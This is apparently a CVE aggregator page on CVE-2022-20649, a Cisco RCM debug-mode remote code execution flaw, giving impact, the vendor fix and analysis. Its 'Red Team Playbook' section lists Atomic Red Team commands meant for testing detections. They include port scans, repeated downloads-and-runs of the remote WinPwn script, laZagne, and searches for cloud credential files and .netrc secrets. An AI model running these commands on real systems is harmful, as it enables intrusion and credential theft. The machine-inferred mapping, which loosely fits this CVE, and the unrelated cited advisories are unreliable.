CVE-2022-20649
Overview
This vulnerability is a remote code execution flaw caused by debug mode being improperly enabled on specific services within Cisco Redundancy Configuration Manager (RCM) for Cisco StarOS Software. The root cause lies in the misconfiguration that exposes privileged command interfaces without adequate access controls. The affected component is the debug-enabled service within the RCM application container environment, which processes incoming connections and commands.
Vulnerability Description
A vulnerability in Cisco RCM for Cisco StarOS Software could allow an unauthenticated, remote attacker to perform remote code execution on the application with root-level privileges in the context of the configured container. This vulnerability exists because the debug mode is incorrectly enabled for specific services. An attacker could exploit this vulnerability by connecting to the device and navigating to the service with debug mode enabled. A successful exploit could allow the attacker to execute arbitrary commands as the root user. The attacker would need to perform detailed reconnaissance to allow for unauthenticated access. The vulnerability can also be exploited by an authenticated attacker. Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
Impact
An unauthenticated remote attacker with network access can execute arbitrary commands with root-level privileges inside the container hosting Cisco RCM, potentially leading to full system compromise or lateral movement within the network. The attack requires no user interaction and leverages the debug mode exposure (CVSS vector AV:N/AC:H/PR:N/UI:N). This can result in unauthorized control over device functions, data manipulation, or service disruption, severely impacting operational integrity and confidentiality.
Solution
Cisco has released software updates addressing this vulnerability in Cisco Redundancy Configuration Manager as detailed in Cisco Security Advisory cisco-sa-rcm-vuls-7cS3Nuq. Users should apply the specified patches to disable debug mode on affected services. No workarounds are available, so immediate deployment of the vendor-provided updates is essential to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Cisco's RCM for StarOS Software arises from the improper enabling of debug mode for certain services. This misconfiguration allows an unauthenticated remote attacker to gain root-level access to the application within the context of the configured container. The root cause lies in the fact that debug mode, intended for troubleshooting and diagnostics, exposes sensitive functionalities that should remain restricted. When debug mode is active, it can inadvertently provide an attacker with the means to execute arbitrary commands, effectively compromising the integrity and confidentiality of the system. The potential for remote code execution underscores the severity of this vulnerability, as it allows attackers to manipulate the system at a fundamental level.
Exploitation of this vulnerability requires a strategic approach, as attackers must first conduct thorough reconnaissance to identify the target device and its services. Once the attacker has pinpointed a service with debug mode enabled, they can connect to the device and initiate commands that could lead to unauthorized actions. While unauthenticated access is a significant concern, authenticated users could also exploit this vulnerability, amplifying the risk within environments where user credentials may be compromised or misused. Scenarios may include an attacker leveraging stolen credentials or exploiting weak authentication mechanisms to gain access to the system, thereby facilitating their ability to execute malicious commands.
The real-world implications of this vulnerability are profound, particularly for organizations relying on Cisco's StarOS Software for critical operations. The ability to execute arbitrary commands with root privileges can lead to a range of detrimental outcomes, including data breaches, service disruptions, and unauthorized access to sensitive information. The potential for an attacker to manipulate network configurations or deploy malware can have cascading effects, impacting not only the affected organization but also its customers and partners. Consequently, the business risk associated with this vulnerability extends beyond immediate financial loss; it can also damage reputation, erode customer trust, and result in regulatory penalties if sensitive data is compromised.
To address this vulnerability, organizations must prioritize detection and mitigation strategies. Regularly updating software to incorporate the latest security patches is essential, as Cisco has released updates specifically designed to remediate this issue. Additionally, organizations should implement robust monitoring solutions to detect unauthorized access attempts and anomalous behavior within their networks. Employing network segmentation can also limit the potential impact of an exploit, confining any malicious activities to isolated segments of the network. Furthermore, organizations should conduct security audits and vulnerability assessments to identify and remediate misconfigurations, such as the inadvertent enabling of debug modes, before they can be exploited by malicious actors.
In conclusion, the vulnerability in Cisco's RCM for StarOS Software exemplifies the critical need for diligent security practices in managing network devices. The combination of remote code execution capabilities and the potential for exploitation by both unauthenticated and authenticated users presents a significant threat landscape. Organizations must remain vigilant in their security posture, ensuring that they not only apply necessary updates but also foster a culture of security awareness and proactive risk management. By doing so, they can better safeguard their systems against the evolving threats posed by sophisticated cyber adversaries.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-121 | Exploit Non-Production Interfaces |
48%
|
Low | High | |
| CAPEC-661 | Root/Jailbreak Detection Evasion via Debugging |
43%
|
Medium | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20649 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rcm-vuls-7cS3Nuq |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-xss-FmbPu2pe |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-tetr-cmd-injc-skrwGO |